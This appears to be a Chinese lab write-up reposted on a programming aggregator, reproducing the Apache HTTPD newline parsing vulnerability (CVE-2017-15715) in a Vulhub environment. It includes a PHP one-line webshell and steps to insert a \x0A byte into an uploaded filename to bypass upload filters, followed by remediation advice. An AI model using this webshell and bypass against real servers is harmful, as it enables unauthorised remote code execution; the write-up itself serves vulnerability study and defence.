码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 【漏洞复现】Apache_HTTPD_换行解析漏洞(CVE-2017-15715)


    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

    文章目录

        • 1.1、漏洞描述
        • 1.2、漏洞等级
        • 1.3、影响版本
        • 1.4、漏洞复现
          • 1、基础环境
          • 2、漏洞扫描
          • 3、漏洞验证
        • 1.5、深度利用
          • GetShell
        • 1.6、修复建议

    说明内容
    漏洞编号CVE-2017-15715
    漏洞名称Apache HTTPD 换行解析漏洞
    漏洞评级高危
    影响范围2.4.0~2.4.29
    漏洞描述在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略
    修复方案对上传文件重命名
    过滤.php后缀文件
    设备升级

    1.1、漏洞描述

    Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

    1.2、漏洞等级

    1.3、影响版本

    Apache HTTPD 2.4.0~2.4.29

    1.4、漏洞复现

    1、基础环境

    Path:Vulhub/httpd/CVE-2017-15715


    启动测试环境:

    sudo docker-compose build
    sudo docker-compose up -d
    
    • 1
    • 2

    访问http://your-ip:{端口}/即可看到

    在这里插入图片描述

    2、漏洞扫描

    在这里插入图片描述

    3、漏洞验证

    上传一句话木马1.php,bp拦截数据包

    
    @eval($_REQUEST[6868]);
    phpinfo();
    ?>
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    在这里插入图片描述

    修改数据包

    在这里插入图片描述

    将1.php后面的\0x2e换成一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A)

    在这里插入图片描述

    点击Send,返回响应码200

    访问刚才上传的/1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞

    在这里插入图片描述

    在这里插入图片描述

    1.5、深度利用

    GetShell

    在这里插入图片描述

    在这里插入图片描述

    1.6、修复建议

    • 上传文件重命名
    • 禁止.php这样的文件执行
    • 升级版本
  • 相关阅读:
    《ON JAVA》学习笔记4:IDE帮我们做的事
    (标签-ar|关键词-运算符)
    Qt应用软件【测试工具】Dr.Memory动态测试内存
    gRPC之拦截器与元数据
    ​Excel如何转换成Word文档?教你如何实现转换
    JAVA七种常见排序算法
    FREERTOS内容解惑与综合应用(基于STM32F103)
    [Linux] GRUB引导 学习笔记(一)
    SpringBoot之健康监控(Actuator)
    振兴农村循环经济 和数链串起农业“生态链”
  • 原文地址:https://blog.csdn.net/ZhaoSong_/article/details/134221288
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号